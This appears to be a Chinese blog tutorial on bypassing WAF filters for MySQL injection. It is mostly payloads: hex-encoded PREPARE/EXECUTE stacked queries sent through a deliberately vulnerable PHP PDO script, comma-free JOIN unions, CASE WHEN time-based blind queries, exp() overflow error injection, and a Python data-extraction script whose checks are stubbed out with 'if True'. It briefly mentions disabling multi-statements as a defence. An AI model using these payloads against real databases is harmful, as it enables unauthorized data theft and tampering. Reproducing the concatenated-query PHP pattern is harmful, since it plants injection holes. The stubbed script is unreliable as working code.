MySQL注入绕过学习

0x01MySQL Prepare

要执行mysql prepare首先需要了解一下php的pdo了,PHP PDO拓展为PHP访问数据库定义了一个轻量级的一致接口。实现PDO接口的每个数据库驱动可以公开具体数据库的特性作为标准功拓展功能。简单的说PDO可以执行多句SQL语句。现在各大的WAF过滤的机制非常多,有时候不能有逗号,有时候不能有空格,有时候甚至连select也全部过滤掉了,因此我们可以使用prepare的语法进行尝试。

什么是Mysql prepare预处理语句?

MySQL 5.1对服务器一方的预制语句提供支持。如果您使用合适的客户端编程界面,则这种支持可以发挥在MySQL 4.1中实施的高效客户端/服务器二进制协议的优势。候选界面包括MySQL C API客户端库(用于C程序)、MySQL Connector/J(用于Java程序)和MySQL Connector/NET。例如,C API可以提供一套能组成预制语句API的函数调用。其它语言界面可以对使用了二进制协议(通过在C客户端库中链接)的预制语句提供支持。对预制语句,还有一个SQL界面可以利用。与在整个预制语句API中使用二进制协议相比,本界面效率没有那么高,但是它不要求编程,预制语句的SQL语法基于如下三个SQL语句:

PREPARE exec_name FROM preparable_stmt;
  
EXECUTE exec_name [USING @var_name [, @var_name] ...];
  
{DEALLOCATE | DROP} PREPARE exec_name;

PREPARE语句用于预备一个语句,并赋予它名称exec_name,借此在以后引用该语句。语句名称对案例不敏感。preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须展现一个单一的SQL语句,而不是多个语句。使用本语句,‘?'字符可以被用于制作参数,以指示当执行查询时,数据值在哪里与查询结合在一起。‘?'字符不应加引号,即使想要把它们与字符串值结合在一起,也不要加引号。参数制作符只能被用于数据值应该出现的地方,不用于SQL关键词和标识符等。如果带有此名称的预制语句已经存在,则在新的语言被预备以前,它会被隐含地解除分配。这意味着,如果新语句包含一个错误并且不能被预备,则会返回一个错误,并且不存在带有给定名称语句。

因此,我们可以构造SQL查询语句并且将其进行hex编码既可以绕过WAF

set @c=0x73656c656374207573657228293b;prepare s from @c;execute s;     # select user();

看如下的php代码

<?php
$dbms='mysql';     //数据库类型
$host='localhost'; //数据库主机名
$dbName='test_db';    //使用的数据库
$user='root';      //数据库连接用户名
$pass='12345';          //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";



try {
    $dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
    $querys = "SELECT name FROM tb1 where nid =".$_GET['nid'];
    echo $querys."<br>";
    $stmt = $dbh->query($querys);
    var_dump($stmt->fetchAll());
} catch (PDOException $e) {
    print "Error!: " . $e->getMessage() . "<br/>";
    die();
}

?>

进行多个语句执行

http://127.0.0.1/pdo.php?nid=1;set @c=0x696e7365727420696e746f2074623120286e616d652c656d61696c292076616c7565732028276363272c27313233403132332e636f6d27293b;prepare m from @c;execute m;

执行前

执行后

防御PDO的方法可以通过设置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse的方法来禁止MySQL个多句执行

更改后的的结果为

 

0x02 Join注入

当有时候逗号被过滤了的时候可以尝试使用join来进行注入,其语句为

union select * from ((select 1)a JOIN (select user()b))

然后就是基本的注入

union select * from ((select 1)a join (select 2)b join (select group_concat(user(),'',database(),'',@@version))c);

配合order by 更好食用~

 

0x03 case when 注入

其基本语句为

case

when [condition 1] then [statement1],

when  [condition 2] then [statement2]

....

else [statement n]

end

同时使用substr(user(),1,1)可以使用subtr(user() from 1 for 1)替代从而绕过逗号。

配合时间盲注的方法

select name from tb1 where nid=1 and 1=case hex(substr((select user()) from 1 for 1))=72 when 1 then sleep(3) else 2 end;

select name from tb1 where nid=1 order by  case hex(substr((select user()) from 1 for 1))=72 when 1 then sleep(3) else 2 end;

 

0x04 利用exp溢出注入

在MySQL中使用exp进行e的n次方运算,当n过大的时候会报出超出范围,因此我们可以使用exp来进行溢出报错

使用exp报出数据库的名字

select * from tb1 where nid = 1 and  ascii(mid(database(),1,1))=78 and exp(999);

当满足mid条件时会报出exp溢出错误,当不满足时则不会报出错误

无表名注入

基本方法我在之前的博客中已经写了一部分出来,可以来踩一踩

 select `2` from (select 1,2,3 union select * from tb1)christa limit 1 offset 1;

附上一个无列表的脚本以备后面使用

import requests
import sys

# url = sys.argv[1]

def chardecode(strings):
	cmd = ''
	for chrs in strings:
		cmd +='char(%s),'%(ord(chrs))
	payload = cmd[:-1]
	return payload


def columns_count():
    '''查询出所有表的列'''
	col = ''
	for i in range(1,64):
		querys = 'order by %s'%(str(i))
		if True:
			counts = i
	for m in range(1,counts+1):
		col+='%s,'%str(m)
	col = col[:-1]
	return col

def length(table_name):
	'''查询列表长度'''
	db_conts = "select `2` from (select "+columns_count()+" union select * from %s)christa limit 1 offset 1;"%table_name
	for i in range(1,65):
		lens_query = 'select length((%s))=%s'%(db_conts,str(i))
		if True:
			length = i
			break
	return length



def mid_exploit(table_name):
	'''结果内容查询'''
	db_conts = "select `2` from (select "+columns_count()+" union select * from %s)christa limit 1 offset 1;"%table_name
	lengths = length(table_name)
	contants = ''
	for i in range(1,lengths+1):
		for chrs in range(32,126):
			db_contant_query = 'ascii(substr(('+db_conts+'),%s,1))=%s'%(str(i),str(chrs))
			if True:
				contants+=chr(chrs)
				break
	return contants

if __name__ =='__main__':
	table_name = 'user'
	print(mid_exploit(table_name))

 

 

 

Reference